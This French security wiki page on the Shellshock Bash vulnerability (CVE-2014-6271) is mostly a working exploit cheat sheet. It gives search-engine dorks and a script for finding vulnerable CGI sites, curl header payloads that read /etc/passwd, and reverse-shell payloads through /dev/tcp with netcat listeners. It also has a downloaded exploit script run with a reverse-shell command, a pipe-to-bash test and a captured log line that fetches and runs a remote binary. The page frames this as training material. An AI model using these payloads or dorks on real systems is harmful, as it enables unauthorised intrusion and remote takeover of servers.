Shellshock

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit l'exploitation de la vulnérabilité Shellshock (CVE-2014-6271) à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
CVE CVE-2014-6271 (et suivantes)
Type Execution de code a distance
Cause Interpretation de definitions de fonctions dans les variables d'environnement par Bash
Vecteurs CGI, DHCP, SSH force...

Shellshock (CVE-2014-6271 et vulnerabilites connexes) permet d'executer du code arbitraire sur une machine via Bash : le shell interprete du code place apres une definition de fonction dans une variable d'environnement. Les scripts CGI (cgi-bin) constituent un vecteur d'attaque distant classique.

Présentation

Faille qui permet de prendre la main sur une machine utilisant une faille bash

https://access.redhat.com/security/cve/CVE-2014-6271
http://shellshocker.net

tester

  • Tester si la machine locale est vulnérable
# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# curl https://shellshocker.net/shellshock_test.sh | bash
  • Tester une machine distante
http://shellshock.brandonpotter.com/
http://www.shellshocktest.com/

rechercher des sites vulnérables

  • scripts
apt-get install libevent-dev
pip install greenlet
pip install gevent
git clone https://github.com/DanMcInerney/shellshock-hunter
cd shellshock-hunter/
python shellshock-hunter -s "search_terms" -k your_bing_api_key -p number_of_pages_to_check

Il faut creer un compte sur bing pour pouvoir requeter le moteur de recherche en mode API:

https://datamarket.azure.com/dataset/bing/search
python shellshock-hunter.py -s "instreamset:(url):cgi-bin ext:sh" -k <votre_cle_api_bing> -p 10
  • moteur de recherche
google : inurl:cgi-bin ext:sh
bing : instreamset:(url):cgi-bin ext:sh

usage

  • requete directe : Afficher le contenu de /etc/passwd
# curl -H "Accept: () { a;} ; echo Content-Type: text/plain; echo; /bin/cat /etc/passwd" http://192.168.56.103/cgi-bin/test
  • accès à la machine

placer en ecoute netcat sur le local

# nc -lvvp 4444
  • lancer dans un autre shell le shellshock
# curl -v -H "User-Agent:() {:;}; /bin/bash -c /bin/bash -i >& /dev/tcp/"192.168.0.local"/"4444" 0>&1 &" http://192.168.0.Cible/cgi-bin/test.sh


usage 2

# apt-get install libffi-dev
# mkdir /root/shellshock && cd /root/shellshock
# wget https://github.com/pyca/pyopenssl/archive/master.zip
# unzip pyopenssl-master.zip && cd pyopenssl-master
# python setup.py install 
# cd -
# wget http://www.homelab.it/wp-content/uploads/2014/09/gnu_b4sh_43_rci_v2.py_.txt  
  • exploit
# nc -lv -p 4444 
# ./CVE-2014-6271.py -t http://domain.tld/cgi-bin/upload.sh -c "bash -i >& /dev/tcp/IP_LOCALE/4444 0>&1"

usage 3

usage 4

GET /index.php HTTP/1.0" 200 170 "-" "() { :;}; /bin/bash -c \x22curl -o /tmp/log hxxp://mafiagalati[.]hi2[.]ro/log;/usr/bin/wget hxxp://mafiagalati[.]hi2[.]ro/log -O /tmp/log;wget hxxp://mafiagalati[.]hi2[.]ro/log -O /dev/shm/log;chmod +x /dev/shm/log /tmp/log;/dev/shm/log;/tmp/log;rm -rf /dev/shm/log /tmp/log*\x22"
Fichier:Log.zip

Voir aussi